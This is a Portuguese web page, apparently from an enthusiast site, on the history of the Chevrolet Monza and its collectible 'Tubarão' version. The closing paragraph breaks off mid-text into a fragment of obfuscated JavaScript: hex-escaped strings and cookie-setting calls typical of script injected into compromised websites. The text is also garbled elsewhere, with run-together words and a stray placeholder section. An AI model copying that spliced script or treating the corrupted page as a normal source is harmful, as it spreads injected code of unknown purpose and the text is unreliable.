Monza Tubarão

Monza Tubarão

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Monza Tubarão

O Monza foi um dos carros mais vendidos da Chevrolet no mercado brasileiro. Durante seus vários anos de mercado, a variação mais famosa do modelo foi o Monza Tubarão, que até hoje chama a atenção de colecionadores e aficionados por carros.

O Chevrolet Monza foi um carro de passageiros do segmento D , fabricado pela empresa norte-americana General Motors , através de sua subsidiária no Brasil , para a marca Chevrolet . É um carro grande de tamanho médio, baseado na terceira geração do modelo alemão Opel Ascona que foi introduzido em 1980 na Europa .

O carro foi introduzido no ano de 1982, sendo o primeiro apresentou sua versão hatchback , a adição de um sedan com quatro portas em 1983 . Durante a passagem de sua produção, versões cabriolet foram desenvolvidas por construtores locais, mantendo sua mecânica original. Sua comercialização cobria todo o território do Mercosul , sendo vendida principalmente na Argentina , Brasil , Paraguai , Colômbia, onde foi montada pela GM Colmotores e pelo Uruguai . Sua produção terminou em 1996três anos após o lançamento do seu sucessor natural, o Chevrolet Vectra . Graças a seu sucesso de vendas durante seus 14 anos de produção e seu tamanho menor em comparação com o Vectra, foi possível que a produção do Monza resistisse mais três anos após o lançamento de sua substituição. Também foi montado na Venezuela, onde predominava o corpo sedan (exceto no modelo S / R, que era um corpo hatchback e se chamava Monza Hatch ).

Dentro das fileiras dos modelos, o Monza estava abaixo do Chevrolet Opala , mas acima de modelos como o Chevette e Kadett , embora ele foi um pouco menor do que o seu sucessor Vectra. Esse detalhe permitiu à General Motors oferecer o Monza na Argentina , dentro da faixa ocupada pelo Kadett, modelo que mais tarde seria substituído pelo Chevrolet Astra em todo o Mercosul.

O Monza saiu de linha, mas ainda segue tendo um alto valor de mercado entre os colecionadores. Em especial o modelo Monza Tubarão, que marcou a geração de carros no Brasil dos anos 1990.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

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Rota 101 e 116

 

Em Breve a Disposição.

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